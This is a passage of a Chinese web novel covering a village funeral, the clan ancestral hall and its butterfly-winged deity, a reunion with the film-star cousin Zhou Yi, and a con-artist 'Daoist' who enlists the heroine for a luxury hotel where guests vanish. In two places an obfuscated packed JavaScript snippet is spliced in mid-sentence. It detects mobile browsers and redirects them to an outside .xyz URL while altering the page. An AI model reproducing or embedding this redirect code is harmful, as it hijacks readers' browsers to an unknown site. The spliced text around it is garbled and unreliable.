秦九奇了大怪:“你还想怎地?” “尸体没问题吧?” “能有啥问题,普普通通男尸一具。” 秦九作为阴差总管,尸体鬼魂见过无数,见识丰富经验老道,根本不可能看错,这样看来庄辰星就是正常死亡。 看来真是自己想多了,庄辰岚刚想松口气,另一口气又提了起来——既然自杀是真的,那他为什么会自杀? —— “岚,你长大后想做什么呢?” “想做什么?”庄辰岚躺在观鱼台上,脚插进湖水里,看着天上慢悠悠移动的白云,“什么赚钱做什么。” “唉?”庄辰星道,“那赚了钱之后又要干什么呢?” “有很多钱之后就不用上班了,那我就每天都画画。” “岚一直很喜欢画画啊,”庄辰星笑道:“我听我爸妈说,现在学电脑很赚钱呢,我姑姑的学生,他们考上大学后都选了电脑专业,但是这个听起来就很难啊,不过岚这么厉害,肯定能学会的。” 庄辰岚转头看向他:“那你呢?你想做什么?” 庄辰星骄傲道:“我想去做医生!今天刚刚决定的!” “所以你才会问我们这个问题吧。” 庄辰星计划得逞的笑笑,然后看向庄辰岚旁边的男孩:“那你呢,以,你以后想做什么?” “为什么一定要做什么?一直保持现在的样子不好吗?” 鸟鸣啾啾,鲤鱼从湖水中跃出,发出清脆的咕咚声,在夏日的阳光下,被叫做“以”的男孩的脸却晦暗不清:“你们到底为什么一直要想以后的事,以后,我们可是会分开的。” —— 庄辰岚被一阵敲门声惊醒,庄海月正在门外叫自己起床。 昨天舟车劳顿加上虚惊一场,她不知道自己什么时候睡了过去。 看向窗外,天上竟然下起了小雪,一个一个,粒粒分明,像白纸铜钱。 今天是庄辰星出殡的日子。 两人来到灵堂,亡者已经入殓,纸人,纸扎白马,祭奠花圈等丧葬用品堆满了院子。 庄年良和赵梅已经哭成了泪人,抱着棺材不撒手,庄辰岚听见周围的呜咽响成一片,但是庄海月没有哭,自己没有哭,江林风不在,以也不在,奇怪,庄辰星的这些青梅竹马都没有眼泪。 和尚们在院子里打坐诵经,几个男人拿着长长的洋钉,他们钉棺材的南头,村长就喊一声:“你朝北躲呀!”他们钉棺材的北头,村长就喊一声:“你朝南躲呀!” 钉棺后,月修寺的和尚要引导庄辰星的同辈在棺材周围绕行三圈,此时棺材头部已经翘起,庄辰岚连忙跑过去。 她刚刚离开,旁边的一个小女孩就指着棺材,用稚嫩的童声问道:“妈妈,那里面为什么要装土啊。” 旁边的中年女人把小女孩指着棺材的手摁下去:“去去去,别瞎说,里面装的是你哥。” 站在母女旁边的老人道:“你闺女说的对,人死了,可不就成土了。” 庄辰岚他们绕行三圈过后便开始正式送葬,一人把先前灵堂里祭奠烧纸用的瓦盆高高举起后摔碎,盆一摔碎,扛夫即刻起杠。 一路黄纸白钱纷飞,飞过梦蝶楼,飞过观鱼台,飞过逍遥堂,唢呐锣鼓演奏的哀乐与哭声混杂,被园子中间的湖水传播开后更显凄凉。 庄辰岚想起自己曾经的工作单位,那里虽然没有唢呐与锣鼓,却有无数亡魂无助的呜咽。 庄家的家族墓地是村庄之后,两山之间的一块山谷平地,平地中央长着一棵大槐树,树干有三人合抱粗,春夏时,树叶郁郁葱葱,遮天蔽日,秋天时,树叶落下,却有一大群蝴蝶不知从何处飞来,掠过山谷,又不知何去,成为远近闻名的盛景。 人们说这些蝴蝶就是落下的树叶变成的,因此便把它叫做“蝴蝶树”,而两边的小山,也因此被称为“茧山”,意为“破茧成蝶”——将小山的茧从中劈开,化为蝴蝶的树。 庄辰星的墓地就被选在蝴蝶树旁。 村民们站在树下,惋惜着年轻灵魂的消逝。 庄辰岚看着白色与黄色的纸钱打着转往上飞,挂到蝴蝶树的枝丫上,挡住一队蚂蚁的去路。 很久以后,庄辰岚会在满目的风雪中多次回想起这场葬礼,它是一个开端,昭示着家族悲剧已然揭开序幕,也是一个丧钟,为他们所有人而鸣响。 4. 周以 葬礼结束后要在祠堂摆放牌位。 庄辰岚和庄海月来到祠堂门口,程天玑已经在此等候了,他跟昨晚一样,戴着帽子和口罩,捂得严严实实。 程天玑看着逍遥堂两侧柱子上的对联:“参万古南华,顺事冥情看后胤,谁能解悟。酌一勺秋水,养生齐物步先贤,我更逍遥”。 看到两人,他小跑过来:“我刚在园子里逛了一圈,观鱼台,梦蝶楼还有濠梁桥也都看了,太美了,跟其他古村落完全不一样的美,还有还有,我最喜欢梦蝶楼上的那副对联——濠上观鱼非鱼非我,梦中化蝶亦蝶亦周。啊,真羡慕你们能一直住在这里。” 庄海月道:“等游客吵得你休息不好就老实了。” 祠堂此时已经到了不少人,庄海月刚迈进去一条腿,就突然指向前方喊道:“卧槽,是栓子!” 程天玑朝庄海月手指的方向看去,也惊叫出声,想起自己还在别人家祠堂里,他连忙捂住嘴巴压低声音:“周以!那个是周以吗?!” 庄海月拍了拍他的肩膀:“哈哈,你运气还是可以的。” 所谓栓子者,辰岚海月之族兄弟也,当红明星也,乳名栓子,原名庄辰贵,艺名周以。其人姿容如玉,如琢如磨,静时若披仙山烟雾,动时恰似瑶树临风,垂眸颤睫时,应惭卫子,实愧潘郎。 跟他一比,相貌与气质已属上层的程天玑也不免相形见绌。 “栓子?海月姐,你说的是周以吗?” “对啊,这他小名儿。” 周以出生时,算命先生说他相貌太好以至于命薄,需要起个敦实名字相冲,既然要以“辰”字为辈,那就叫庄辰贵吧,既能压命,也喻富贵守禄。夫妻俩被这老头儿吓得不轻,尤嫌这名字不够敦实,生怕它拴不住周以的小命,所幸直接起了个栓子的小名。 庄辰岚道:“你还是不要叫最好,周以一听这名字就烦。” 程天玑道:“因为相貌太好就要起个不好听的名字吗?还是第一次听说。” 但也因为这副相貌,周以高中辍学在麦当劳打工时被星探发掘,两年前凭电影《生楼》中的胡楼生一角一炮而红,成为最年轻的影帝,国内外各种奖项拿到手软,时至今日仍然春风得意,风光无两。 庄海月从小就喜欢逗漂亮男孩,此时灯下看美人更是旧病复发,连忙上前搭话。 庄海月道:“嗨,嗨!栓子!” 周以抬头看见是她,皱了皱眉:“能不能别这么叫我。” “对不起啊周以,好久不见喊小名就想显得亲切一点嘛——你看,岚岚也在,要是我妹也回来就好了。” “岚也回来了?在哪?”周以顿时打起精神,探着身子寻找庄辰岚的身影。 待看到祠堂门口的庄辰岚,周以小跑过去,他道:“年良叔没抱着你哭吧?” “哭了。” 周以无奈地笑道:“他见到我时也这样。” 程天玑激动得脸都红了,他冲到周以身边拿出笔记本:“以哥,能给我签个名吗?” 周以被这个裹得严严实实的人吓了一跳,还以为是哪个疯狂的粉丝,庄海月替他解释后,周以拿过笔在本子上龙飞凤舞地签上了自己的名字。 程天玑颤抖着手接过本子:“以哥,没想到你也住在南华村,网上都说你是匪石传媒家的少爷呢。” 周以嘴角抽了抽:“都是谣言。” 庄海月道:“对啊,都是谣言!小程你是他粉丝居然不知道他原名?他原名叫…” 周以服了:“庄海月我求求你少说两句。” 庄海月一点儿没有愧疚的意思:“好好好我不说名字了,我说周以你演的那个角色太好了,疯狂艺术家啊这人设我特别喜欢,叫楼,楼什么来着。” 程天玑连忙道:“叫胡楼生!这个电影我在电影院看了五遍,线下又看了好几遍,老师还在电影课上放过,我们班同学都最喜欢胡楼生,要是他们知道我跟本人见过面肯定会羡慕死——以哥,有时间能跟我合个影吗?” 庄海月道:“他可不是胡楼生本人,角色和演员还是要分开的。” 庄辰岚道:“你还说人家呢,你自己特别喜欢还记不住人名字?” 庄海月被拆穿也不害臊:“唉我不擅长记名字,名字嘛,代号而已,我记住的是他们的内在,内在你懂吗。这个角色应该特别抢手吧,话说周以你当时这么糊是怎么接到这个角色的?” 庄辰岚道:“周以有过很糊的时候吗?” 庄海月道:“你是不知道,他在男团搞唱跳的时候简直糊到爆!哎,你知道吗,你跳舞跟面条儿似的。” “能不能别说了。”周以道。 “所以以哥是怎么选上胡楼生的啊?”程天玑说完,似乎觉得自己有些唐突了,“对不起以哥是我冒昧了!但我真的很喜欢这个电影,所以很想知道一些幕后的事。” 庄海月道:“你不用这么拘谨啦,以哥他脾气很好的哈哈哈。” 周以道:“怎么选上的我也不知道,真的,我也一直在问老板。” 庄辰岚道:“他怎么说?” “他说:‘你就当是祖坟冒青烟了吧。’” 庄海月道:“这么敷衍?” 庄辰岚道:“老板只是被你问烦了吧。” “是吗?”周以道:“早知道我就不天天去厕所堵他了——对了庄海月,你怎么从京华休学了,跟不上学习?” “你简直是对我智商的侮辱”,庄海月怒了,“太无聊罢了,再说我考上就要去吗,谁规定的?考京华只是用世俗的成功换取本人的自由罢了。” “听不懂。岚帮我翻译下。” 庄辰岚道:“意思就是她是个脑残。” 庄海月踢了她小腿一脚,然后凑近周以的脸微笑道:“没事,听不懂没关系,你只需要负责美美的就可以。” 这时,庄辰岚看到万村长正在安放庄辰星的牌位,便示意几人暂时不要说话。 香烟直上,罗浮真君低垂的眉眼在其中若隐若现,整个祠堂都弥漫着香火的味道。 程天玑道:“好大的神像,我从来没见过这么大的罗浮真君像。” 罗浮真君是国内常见的掌管梦境的神祇,传说庄子梦中的那只蝴蝶就是她的化身,因此常见的罗浮真君形象背后都有蝶翅形状的数双手臂,每个手掌中有一只眼睛,寓意神明无所不见,洞察世间万物。 庄海月道:“南华村住民是庄子后代,我们世代供奉曾入祖先之梦并带来天启的罗浮真君,传说真君被村民的诚心感动,曾在南华显灵,跨越千年,再次给南华仙人的后代带来祝福。我们也按照真君显灵时的形象新造了一尊彩绘塑像,供奉在家族祠堂的正中央。” 庄辰岚道:“下血本了啊庄海月,为了当讲解没少恶补吧。” “去去去,我恶补个屁,住在村里天天听老人讲,我不想听都不行。还有别光我说,庄辰岚,把你知道的也统统交待了,别让小程同学白跑一趟。” 庄辰岚想了想道:“我小时候听万村长说,罗浮真君显灵时,还将那时的村长,也就是第三代的儒村长选为自己的神使,传授给她各种知识,给村民祈福免灾,与此同时,她也制定了各种律法,据说只要遵守这些律法,不仅能得到真君的庇佑,死后还有机会得道成仙。” 程天玑道:“那村长在这里肯定有很大的权威吧。” “权威算不上,毕竟现在人人平等,但对我们来说,村长比起行政人员,更像是一个祭司,村里的婚礼葬礼和节日庆典都是她主持,有时也会给新生儿取名。” 庄海月道:“说起新生儿,我突然想到村里的一个习俗,小程你肯定没听过,在我们这里,新生儿出生就要选墓地的。” 程天玑果然吃了一惊:“为什么?!不会觉得不吉利吗?” 庄辰岚道:“死亡与新生一体两面,没有绝对的死亡,又何谈不吉利。” 程天玑又问:“那选墓地是怎么选?抽签吗?” 庄海月道:“这个我没见过,据说是烧香?” 庄辰岚道:“没错,是烧香,小时候我见过一次。那时候村长在真君像前插了一大柱香,明明同一时刻点着,燃烧后却长短不一,中间短,四周长,外围的香还边烧边向中间弯曲,村长能从香的燃烧形状确定墓地方位。” 庄海月道:“反正翻来覆去都是埋茧山中间那块儿地里,埋东边还是埋西边有什么差别。” 程天玑如获至宝,在笔记本上飞快的记录。 记完后,他环顾这间祠堂,只见庄家家族牌位从上到下共八排,因为太高,两边还修了楼梯,真君端坐中央,牌位平均分布在塑像的两侧,宛如她的翅膀。 每一排供桌上都有一个字,自上而下依次是:福,盛,儒,孟,万,年,辰,孔。 程天玑念了几遍,不知道它们的意思。 庄海月笑道:“别猜了,这是我们按辈分取名的字,比如我跟庄辰岚是第七代,名字中间是“辰”字,而我们的父母是第六代,名字中间是“年”字。” 程天玑道:“哦我明白了,刚才你们说的万村长,儒村长,也是说的中间的字吧。” “孺子可…” “但是海月姐你怎么不用“辰”字取名?每个辈分该取什么字也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977871|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是显灵的罗浮真君制定的吗?而且你们是道家后代为什么这些字有这么强的儒教色彩?只有八个字那八代以后怎么办?罗浮真君会再次显灵吗?” 庄海月扶额:“你…你一个一个问,都把我整糊涂了。” 想了想,庄海月答:“村里老人说这些字都是真君选的,至于为什么儒家味儿这么重,哈哈哈,感觉需要儒道互补一下嘛,不然整个村的人都跟我爷爷一样跑去当道士了——我猜的我瞎说你别当真。” 庄辰岚道:“真君显灵本来就是传说,谁也没见过,八代之后就是村长再在真君像前选八个字了,到时候说是神的旨意,谁又好说什么。” “最后一个问题。”程天玑问,“海月姐为什么不用’辰‘字。” 庄辰岚道:“要说这个问题那就复杂了。我们这儿还有一个规定,那就是村里人的孩子必须姓庄,女人也一样,打个比方,就是庄海月如果生了小孩,那这个孩子不能随夫姓,必须随母姓庄,不然就会倒霉,倒血霉。” 庄海月呸呸呸:“你才生小孩,别咒我,再说我妹也不姓庄,现在不也在美国活得好好的,周以改了名也不姓庄,不照样红得发紫——至于我为什么不用辰字,我就不想用怎么啦。” 庄辰岚知道她不想再提起那些陈年旧事,于是圆场说:“其实我们就是对姓什么严格了点儿,最近几年叫什么也不强制。海月啊,幸亏你生的时候好,再早几十年不按规定起名,村长不给你上户口。” 这时,半天没有讲话的周以突然道:“经纪人催我回公司,先走了。” 庄海月道:“大明星好忙呀,上午连出殡都没有来,这会儿又早早的走了。” “抱歉。” 庄海月笑道:“跟我道什么歉,开个玩笑而已,你也是身不由己嘛。” 程天玑整张脸上只露出一双眼睛,却依旧能看出浓烈的不舍,他跟在周以后面:“以哥,还能再见面吗?” 庄海月拉住他的后领:“给我回来,你是来研究民俗的还是来追星的。” 然而庄辰岚的手机却显示周以发来的消息: “岚,能不能单独来茧山,老地方。” 庄辰岚把手机放回兜里:“我去上个厕所。” 从祠堂出去后庄辰岚才发现天已经暗了,她沿着石阶爬上茧山,周以已经在此等候了。 “单独找我有什么事?” 周以坐在崖边,双脚悬空,笑道:“没事就不能找你吗,只是好久不见,想跟你说说话。” 庄辰岚也顺势挨着他坐下来,晚风卷起两人的头发。 周以道:“我收到消息就立刻来了,可惜还是没赶上。” “没关系,星不会怪你的。” “但是他怎么可能会自杀呢?我想不通。你知道吗?” “不知道,”庄辰岚道:“而且这种事也不方便问。” 周以平日里就常常皱着眉头,此时的表情更为落寞,庄辰岚缓和气氛道:“我还以为你又要给我讲电影故事呢。” 周以沉默片刻,开口道:“岚觉得电影里的故事是真的吗,换句话说,你觉得电影里的世界和人物真实存在吗?” 庄辰岚怀疑自己听错了:“小学生都知道是假的吧——你认真的?为什么突然这么说?” 周以愣了一下,然后道:“当然不是认真的,我开个玩笑。” 他道:“我一会儿真的要走了,本来说好一起去漩涡的。” 漩涡是南华村附近的一家老式西餐店,物美价廉。 庄辰岚道:“没关系,快过年了,放假回来再去。” 周以的声音轻快起来:“你说的对,新年一起去,就像我们小时候……那样。” 说到“小时候”的时候,周以明显卡壳了,两人对此的原因都心知肚明——他们再也不会像小时候那样了,因为以前都是和庄辰星三人一起的,而现在他已经死了。 周以微不可察地叹了口气,站起身来:“一起下山吗?” “不了,这儿的风吹的挺舒服的,我再坐会儿。” 庄辰岚由上往下欣赏山谷间的风景,蝴蝶树下,纸钱堆积出的雪白格外显眼。 突然,不知何年的记忆毫无征兆地涌入庄辰岚的脑海,那是穿着白衬衫的庄辰星站在蝴蝶树下朝自己微笑的画面。 庄辰岚心底再次涌起一股酸涩的悲伤。 亲人的离世对一个人来说不是猛烈的斩首,而是细细密密的凌迟,你永远不知道他会在什么时候进入你的脑海,并让你真切感受到他已经不在的事实。 就在这时,一只手从后面拍了拍她的肩膀。 5. 方不圆 庄辰岚吓了一跳,她回头一看,只见庄海月手里夹着根烟站在她身后。 山风呼呼,庄海月的蓝莓双爆点了又灭,好不容易再次点着,就被庄辰岚用手指捏灭: “说很多遍了,别在我面前吸烟。” 庄海月咬着烟嘴:“小程跑去追周以了,又当导游又当讲解员又带他见偶像,我是不是得收他点儿钱啊。” 庄辰岚道:“别忘了请我吃饭。” “我记着呢。”庄海月撅着嘴,“还不是看他长得像星星,要不然我才不干,别说是我同学弟弟了,就算是我导师他爹我都不带。” “那你可真有原则。” 庄海月环视四周:“栓子呢?” “你没碰见他?他刚下山你就上来了。” 庄海月咂咂嘴:“跟美人没有缘分。” “可能是在躲你,你找他有事?” 庄海月道:“没什么大事,就是前几天看到一娱乐圈的瓜,想找栓子八卦一下。” “什么瓜?” “有个帖子说国内一个很有名的演员精神有问题,这帖子还挺火的,下面有不少人跟帖,我想问问栓子知不知道点内幕。” “叮铃铃,叮铃铃......” 一阵电话铃声打断了二人对话。 庄辰岚点击通话,一个爽朗的女声传来: “小岚啊,听你婶儿说你回村啦?” 庄辰岚把手机音量调小:“嗯,回来了,方姐你有什么事吗?” 对面道:“这不快过年了,光台的一个老板请我去他家酒店开坛做法去去旧气。老大的酒店了,给的钱可不少,你明天跟我去一趟,事成酬金跟以前一样,你三我七。” “明天几点?” “先别急啊,咱俩一会儿先去菜市场买点朱砂和黑豆,到时候我详细跟你说,等下你有空吧?” 庄辰岚回了句过会儿见就挂断了电话。 她站起身,拍了拍裤子上的灰尘,庄海月道:“怎么我一来你们就都要走啊?” “还不是因为你的烟味太讨厌了。” “放屁,我好久没抽过了。” “啊,真是乖宝宝。”庄辰岚道,“其实是我突然有点事。” “那还回来吃饭吗?” “什么?” “不是让我请你吃饭吗?” “饭不用请了,”庄辰岚道,“再借我点钱。” —— 二人在电话里所说的菜市场就是庄辰岚的外公和母亲以前出摊卖猪肉的地方,在年轻人普遍去超市买菜的情况下,它因为爷爷奶奶们的青睐而依然保有留身之地。 这里店铺很少,大家都是直接在地上铺个尼龙布,摆上菜就卖。菜市场最多的交通工具是自行车,脚蹬三轮和老头乐,过道虽不算窄,但进来的轿车也只怕是有来无回,造成堵塞,被大爷和大婶们鄙视。 庄辰岚刚到菜市场门口,一个娃娃脸的女人就隔着大老远叫她:“小岚!这里这里!” 等她走过去,女人惊讶道:“天呐,我感觉你又长高了,你有一米八没” “没有。”庄辰岚道,“方姐,你先说说明天的事吧。” 方姐有个有趣的名字——方不圆,是个江湖骗子,她对外宣称自己是龙虎山的道士,给人捉妖除鬼做法事,演得得心应手,骗得心安理得,而且这人不知哪来的绝世好运气,碰上的都是假货,一路顺风顺水,唯一一次遇到真家伙马上折在那里时,又偶遇路过的庄辰岚,从此抱紧大佬大腿。 方不圆激动道:“你绝对想不到请我去的是哪个酒店,直接告诉你吧——长生殿!太高端了,太奢侈了,太华丽了,要赚翻了!” 长生殿是国内顶奢酒店品牌,首创古典楼阁与现代大厦的完美结合,据说其方不圆几百米内都能闻到一股芳气笼人的酒香。 庄辰岚稍微有点理解她为什么会这么激动了。 与此同时,庄辰岚质疑道:“他们怎么会请你?” 虽说她并不是专业道士,但成为生无常后多少也在玄学行业有所涉猎,深知越有钱有权的人越迷信,像长生殿这种级别的酒店,应该有业内最顶级的人负责,怎么会轮到方不圆这个江湖骗子? 方不圆道:“士别三日当刮目相看,你姐我今年走了大运,拜了个师父,现在跟着我师父混。” “你师父?老骗子?” “什么老骗子!我师父是正儿八经的术士,圈内大佬,天纵奇才!她解卦可厉害了,有慕名来找的人,他们以前发生了啥,以后要发生啥,她都一清二楚,比当事人还门儿清。” 方不圆继续道:“回归正题,本来呢,酒店请的是她老人家,但是我师父要把这件事给我当考试,就算不合格酬金也照样给我,师父啊,打着灯笼都找不到的好师父啊。” “那你找我干什么,帮你作弊?” “什么作弊,说那么难听,我只是不想让我师父失望好吧。你不知道,长生殿的老板,他也信罗浮真君,这次请神就是请她老人家,你看,这不就跟你专业对口了,所以请您来指导指导。” 庄辰岚感觉这人对庄家有天大的误解:“专业对口什么,我不会。” “不会就不会,那就给我当助手,”方不圆道,“我下血本了,这次分你一半。” 庄辰岚问:“他们打算给多少?” 方不圆伸出两个手指头。 “两千?” “两万!” 庄辰岚吃了一惊,这已经远超市价了,事出反常必有妖,她道:“这事儿肯定没那么简单。” “哎呀,就是这么简单,你想太多。” 庄辰岚突然停下脚步:“你肯定有事瞒着我。” 方不圆拽她继续走:“哎呀没有没有。” 庄辰岚道:“以前开坛祈福这种没有生命危险的事你从来不叫我,只有给人驱鬼的时候才会喊我给你当保镖,这次怎么一反常态,酬金还舍得分我一半?” 方不圆挠了挠脸:“你还挺厉害的,那我告诉你,你可要保密,我签了保密协议的——这酒店有客人失踪了,而且不止一个。” 庄辰岚惊道:“连续失踪?” “这个我也不知道,据说人到现在都没找到,”方不圆压低声音,“警察监控看了好几轮,发现消失的那些人根本就没出过酒店,有的进了房间后就消失了,有的出了电梯就没了影,警察和警犬翻遍整个酒店,就是活不见人死不见尸。家属来闹过,但这酒店最不差的就是钱,巨额赔偿到位,最后都和解了,警察也只好结案。” 方不圆喝了口水:“这长生殿的老板叫唐金麟,不仅开酒店,还是光台罗浮教的教主,本来就迷信,他觉得这件事是自己身为教主不够虔诚,导致罗浮真君生气了,更离谱的是,他觉得失踪的那几个人就是神仙派下来让自己破财的,所以才请我师父去做法祭祀。” 庄辰岚道:“他这个说法还挺能自圆其说的,不过这么大的事,怎么网上一点儿消息都没有?” “不是说了吗,钱到位了,什么事儿都好办,”方不圆道,“这酒店公关一流,别说网上了,光台本地人都不知道。” 被家属和社会放弃的倒霉蛋们啊,庄辰岚稍微同情了他们一秒。 “是小岚吗?” 一个年迈的声音突然从背后传来,庄辰岚转头一看,居然是以前在她家隔壁卖内脏和下水的老张,小时候庄辰岚没少受他照顾。 她这才发现原来自己已经走到了以前摆摊的地方,虽然他们的摊位换了人,但周围的景象却一如童年。 她打了个招呼:“张爷爷。” 老张带上老花镜,吃惊道:“真是小岚啊。” 他把庄辰岚从头打量到脚,又从脚打量到头:“真的完全好了,看不出来一点儿。” 他说的是庄辰岚的腿。 小时候她的腿发育不良,一长一短,走起路一瘸一拐,大家只当她年龄太小不会走路,幸亏母亲发现不对,及时去医院做了手术。 庄辰岚道:“医生说幸亏发现得及时,手术和恢复都很成功。” 老张惊讶道:“这种都能治好啊,现在的医院真厉害,什么病都能治,好啊,好啊……”他似是在喃喃自语,老人都是这样。 突然,他像是想到什么,拿起一个塑料袋递给庄辰岚:“这是我儿子给邮过来的,说是什么鳄鱼肉,俺也不懂,给你拿着,补补。” 庄辰岚连忙摆手拒绝:“您留着给孙子吃吧。” 老张直接从摊里出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977872|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,拿着肉往庄辰岚怀里塞:“拿着拿着,好闺女,家里老多了,俺孙子说这个好吃,你回去尝尝。” 庄辰岚推脱不掉,只得收下。 他又不知从哪拿出一个田字格本:“俺看不懂字,俺儿说这是你写的,这也不知道猴年马月的东西了,你看看你还记得不。” 庄辰岚疑惑地接过那个小小的本子,纸页又皱又脆,封面钢笔写的“庄辰岚”三字已经褪成了浅蓝色,翻开一看,竟然是自己小时候写的日记: “…… 每天清晨,姥爷和妈妈都会把新鲜的猪肉抬上三轮车,然后再把一个个肉架摆上,一排排铁钩挂上,最后车上就像长了一片铁树林。 姥爷专门给我做了一个木箱子,里面铺着妈妈给我缝的棉褥,她抱着我进去,再盖上厚厚的小棉被,暖烘烘的,舒服极了。 姥爷把车开起来,肉架上的铁钩就碰得叮当响,像我在电视上见过的一种乐器,叫编钟。 三轮车颠簸起来,就像坐摇摇椅,那“编钟”唱的就是:“妈妈的老公是爸爸,妈妈的爸爸是姥爷……” 妈妈坐在我旁边的小马扎上,伸过手来揶我的被子,她的手油乎乎的,有生猪肉的香味。 妈妈的头发又多又亮,卷卷的,是我见过最漂亮的头发,妈妈说我长大后也会有这么漂亮的头发。 等到了菜市场,我就在摊里坐着,挂在铁钩上的猪肉就像红色的帘子,把我遮得严严实实。 妈妈笑着问我:“宝贝,你饿不饿呀?” 她把我交给张爷爷,就去买饭了,妈妈有时候会给我带一罐冰可乐,我最喜欢冰可乐了。 ……” 恍如隔世。 庄辰岚收起本子:“谢谢你张爷爷,这个我就带走了。” 老张道:“走吧走吧,孩子,没事儿常来啊。” 告别张爷爷,方不圆隔着塑料袋捏了捏那些肉:“真的假的,鳄鱼肉?能吃吗?不犯法吧?” 庄辰岚把塑料袋塞到方不圆手里:“我不敢吃,给你了。” 方不圆甩手道:“我才不要,不知道是哪来的死狗死猫的肉。” 正说着,前面传来一阵骚动,方不圆素来爱看热闹,拉着庄辰岚就往前跑。 这里已经围成一个圈,庄辰岚凭借身高优势,看见了引起骚动的主角——一个脏兮兮的和尚。 这和尚疯疯癫癫,时而大哭,时而大笑:“…梦短梦长俱是梦,年来年去是何年…” 许多人笑嘻嘻地拿出手机录像,周围议论纷纷: “这是前面月修寺的?” “这和尚是疯了吧?” “什么疯了,这叫走火入魔。” “修的什么啊,把自己修精神病院去了——哎呦往这边看呢,快走快走。” 方不圆翻了个白眼:“我还以为是什么呢,一个疯和尚有什么好看的。” 被围在中间的和尚似乎一点没受到周围影响,正拿着一条柳枝给自己瘙痒。 庄辰岚跟他对上眼,这和尚竟是一怔,然后就眉毛一挤,嘴一瘪,哭着朝她跑来,一边跑一边喊:“吾终寻得汝矣!” 周围的人看他像要发疯,纷纷四散而跑,趁此机会,和尚紧紧抓住庄辰岚的胳膊:“你还认得我吗?一百年前,十年前,我们都见过!” 庄辰岚道:“那时候我还没出生” 方不圆拽她另一条胳膊:“你跟这疯子废什么话,别给他讹上。” 和尚喊道:“不能跟她走!汝速速归家,方可安度余生!” 方不圆骂他:“你在我面前算命?老娘玩算命的时候你还在庙里刷茅坑呢,你个臭和尚对人姑娘拉拉扯扯,要不要脸!” 他俩拔萝卜似的拉着庄辰岚,一个疯和尚,一个假道士,两人你一句我一句,有来有往,势均力敌,庄辰岚的反抗声就这样被淹没了。 既然说话没用,庄辰岚使了个巧劲,迅速把胳膊抽回来,两人皆是一个踉跄。 庄辰岚朝方不圆抬抬下巴:“走了。” 和尚站在原地,怔了一会儿,然后大喊道:“从今往后再也别出那园子!” 这句话像是用了他所有力气,但是风太大了,人太杂了,再响亮的话还没到人耳朵里就散了。 6. 长生殿1 第二天一早,庄辰岚和方不圆就驱车前往光台市长生殿。 方不圆一边开车一边喋喋不休,庄辰岚打开车载电视,屏幕上出现了一个带着黑色卡通猫头套的人。 方不圆激动道:“啊!是black neko,我的偶像啊!” 庄辰岚也知道black neko,这是近年声名大噪的天才名侦探,处理过无数棘手案件。 他最初崭露头角是在一年半前轰动社会的五行连环杀人案中,这起案件的杀人手法残忍诡异,吸引了无数民间侦探和阴谋论者,网民都猜测它跟某些邪术或邪神有关。 警察调查数月束手无策,而black neko仅仅只花了三天就将之全部破解,他将推理结果发布在社交网络上,顿时一石激起千层浪。 此后,他又在社交媒体上推理出了多个重大刑事案件,甚至还破获了许多经年未解的诡异悬案,再次引爆互联网,一跃成为顶流中的顶流。 随着black neko受到的关注度越来越高,他的账号也被封锁,再次出现时,他已被相关机构招安。 也许是不想暴露真实身份,black neko出镜时总是带着一个黑色卡通猫头套,他的声音也经过处理,分不清是男是女,但人们对他的兴趣反而只增不减。 网上对他真实身份的猜测浩如烟海,甚至有传言说他根本不是人类,但无一例外全都是毫无根据的主观臆断。 方不圆道:“你有没有发现black neko只对一些涉及神秘学的犯罪感兴趣?” “确实如此,”庄辰岚道,“据说他被招安前就掌握了警方内部的机密资料,所以账号才会被封,大家都觉得他是黑客,起码肯定会黑客技术。” “那可比黑客技术难多了。” 方不圆神秘兮兮道:“告诉你一个独家机密,听我师父说,black neko也是玄学圈的人,他解那些案子靠的不是推理,而是术数。” 庄辰岚质疑道:“只靠术数怎么可能做到这种程度?” 方不圆道:“我师父说了,术数能做到的远不止于此,只是现在的人都太菜了,难以想象术数的真正威力,如果black neko真的是靠术数破案,那他的技术已经是开挂级别的了,说是世界第一也不为过。” “哦。” “你这反应也太冷淡了吧,一点都不像年轻人,你都不好奇的吗?” “对这方面没兴趣。” “你这孩子,”方不圆道:“那再给你讲个故事,长生殿有个传说还挺有意思的,你知道吗?” 庄辰岚把胳膊撑在车窗上,百无聊赖地回道:“什么传说?” 方不圆道:“听我跟你讲,传说啊……” 传说,长生殿在民国军阀混战时期是一家名叫八仙饭店的酒楼,某天,有一征战多年、权势滔天的军阀回乡时路过此地,便在此一边享受佳肴,一边欣赏歌舞。 眼下是温香软玉,眼前是荣归故里,人间之极乐不过如此。 就在军阀心驰神荡之时,突然枪声四起,炸弹连连,敌方军队埋伏在此,发起了猛烈攻击——他最信任的副官倒戈背叛了。 来不及愤怒,军阀立即将八仙饭店当做指挥部开始指挥作战。他一心归乡,于是奋力抵抗,然而自己的军队仍旧节节惨败。 眼看大势已去,军阀不愿生擒受辱,于是放火自焚。 刚才的花柳繁华如梦一般随烟散去,转瞬之间死亡已经到来,军阀悲愤万分,没想到上天如此作弄自己,竟让自己死在离故乡一步之遥的地方。 然而令所有人没想到的是,原本晴朗的天空突然乌云密布,伴随猛烈的暴雨,整个大地剧烈摇晃起来,只有八仙饭店岿然不动。 雨水浇灭了自焚的大火,地震使敌人死伤惨重,电光火石间,局势异变。 